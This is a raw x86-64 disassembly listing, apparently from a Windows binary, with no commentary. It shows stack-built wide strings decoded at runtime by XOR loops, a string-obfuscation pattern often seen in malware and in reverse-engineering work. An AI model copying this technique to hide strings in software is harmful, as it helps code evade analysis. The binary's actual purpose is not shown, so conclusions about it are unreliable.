sub rcx, 2
nop
cmp word [rcx + 2], r14w
lea rcx, [rcx + 2]
jne 0x14021d0c0
lea r8, [rsp + 0x60]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, word [r8 + rdx*2]
mov word [rcx + rdx*2], ax
lea rdx, [rdx + 1]
test ax, ax
jne 0x14021d0e0
mov dword [rsp + 0x50], 0xb0d4b0d3
mov edx, r14d
mov dword [rsp + 0x54], 0xb0d5
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x50]
lea rcx, [rcx + rax*2]
movzx eax, dx
sub ax, r15w
inc edx
xor word [rcx], ax
cmp edx, 3
jb 0x14021d110
lea rax, [rsp + 0x50]
mov ecx, edi
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x40], rax
call fcn.1402196e0
lea rcx, [rbp + 0x310]
sub rcx, 2
nop
cmp word [rcx + 2], r14w
lea rcx, [rcx + 2]
jne 0x14021d150
mov r8, qword [rsp + 0x40]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, word [r8 + rdx*2]
mov word [rcx + rdx*2], ax
lea rdx, [rdx + 1]
test ax, ax
jne 0x14021d170
mov dword [rsp + 0x60], 0xb09bb0b0
mov edx, r14d
mov dword [rsp + 0x64], 0xb093b091
mov dword [rsp + 0x68], 0xb0d8b0cd
mov dword [rsp + 0x6c], 0xb0cab0d1
mov dword [rsp + 0x70], 0xb0d9b083
mov dword [rsp + 0x74], 0xb0a6b0b4
mov dword [rsp + 0x78], 0xb0d6
nop dword [rax]
movsxd rax, edx
lea rcx, [rsp + 0x60]
lea rcx, [rcx + rax*2]
movzx eax, dx
sub ax, r15w
inc edx
xor word [rcx], ax
cmp edx, 0xd
jb 0x14021d1c0
lea rdx, [rbp + 0x310]
mov word [rsp + 0x7a], r14w
sub rdx, 2
nop
cmp word [rdx + 2], r14w
lea rdx, [rdx + 2]
jne 0x14021d1f0
lea r9, [rsp + 0x60]
xor r8d, r8d
nop dword [rax]
nop word [rax + rax]
movzx ecx, word [r9 + r8*2]
mov word [rdx + r8*2], cx
lea r8, [r8 + 1]
test cx, cx
jne 0x14021d210
mov r8d, edi
lea rdx, [rbp + 0x310]
xor ecx, ecx
call fcn.140219000
mov eax, 2
jmp 0x14021d405
mov rcx, rsi
call fcn.14021aa60
lea rcx, [rbp + 0x200]
call fcn.140219320
mov eax, 0x309
jmp 0x14021d405
xor r14d, r14d
mov qword [0x140548b00], r14
jmp 0x14021d26b
xor r14d, r14d
xor eax, eax
mov dword [rsp + 0x60], 0xb09bb0a1
mov word [rbp + 4], ax
mov edx, r14d
mov dword [rsp + 0x64], 0xb082b080
mov r15d, 0x4f0d
mov dword [rsp + 0x68], 0xb096b09e
mov dword [rsp + 0x6c], 0xb0dab09c
mov dword [rsp + 0x70], 0xb093b095
mov dword [rsp + 0x74], 0xb0deb089
mov dword [rsp + 0x78], 0xb16fb099
mov dword [rsp + 0x7c], 0xb16cb174
mov dword [rbp - 0x80], 0xb12ab167
mov dword [rbp - 0x7c], 0xb128b12b
mov dword [rbp - 0x78], 0xb15cb127
mov dword [rbp - 0x74], 0xb173b17b
mov dword [rbp - 0x70], 0xb17eb12b
mov dword [rbp - 0x6c], 0xb17db168
mov dword [rbp - 0x68], 0xb171b17b
mov dword [rbp - 0x64], 0xb166b163
mov dword [rbp - 0x60], 0xb178b133
mov dword [rbp - 0x5c], 0xb177b17a
mov dword [rbp - 0x58], 0xb17db173
mov dword [rbp - 0x54], 0xb135b16b
mov dword [rbp - 0x50], 0xb179b169
mov dword [rbp - 0x4c], 0xb171b17f
mov dword [rbp - 0x48], 0xb154b170
mov dword [rbp - 0x44], 0xb152b101
mov dword [rbp - 0x40], 0xb10bb140
mov dword [rbp - 0x3c], 0xb143b157
mov dword [rbp - 0x38], 0xb146b14e
mov dword [rbp - 0x34], 0xb15eb15a
mov dword [rbp - 0x30], 0xb140b14a
mov dword [rbp - 0x2c], 0xb10eb141
mov dword [rbp - 0x28], 0xb159b178
mov dword [rbp - 0x24], 0xb156b15f
mov dword [rbp - 0x20], 0xb143b15c
mov dword [rbp - 0x1c], 0xb116b146
mov dword [rbp - 0x18], 0xb156b156
mov dword [rbp - 0x14], 0xb11ab15d
mov dword [rbp - 0x10], 0xb14eb14f
mov dword [rbp - 0xc], 0xb11eb144
mov dword [rbp - 8], 0xb127b15e
mov dword [rbp - 4], 0xb12bb120
mov dword [rbp], 0xb16ab12d
movsxd rax, edx
lea rcx, [rsp + 0x60]
lea rcx, [rcx + rax*2]
movzx eax, dx
sub ax, r15w
inc edx
xor word [rcx], ax
cmp edx, 0x52
jb 0x14021d3a1
mov word [rbp + 4], r14w
lea rdx, [rsp + 0x60]
xor ecx, ecx
call fcn.140219000
lea rcx, [0x140548ab0]
call fcn.14021b1a0
mov rcx, qword [0x140548b10]
call qword [sym.imp.kernel32.dll_CloseHandle]
lea rcx, [0x140548ab0]
call fcn.14021aa60
lea rcx, [rbp + 0x200]
call fcn.140219320
mov eax, 1
lea r11, [rsp + 0x610]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1403d7020
int3
call fcn.1403d7020
int3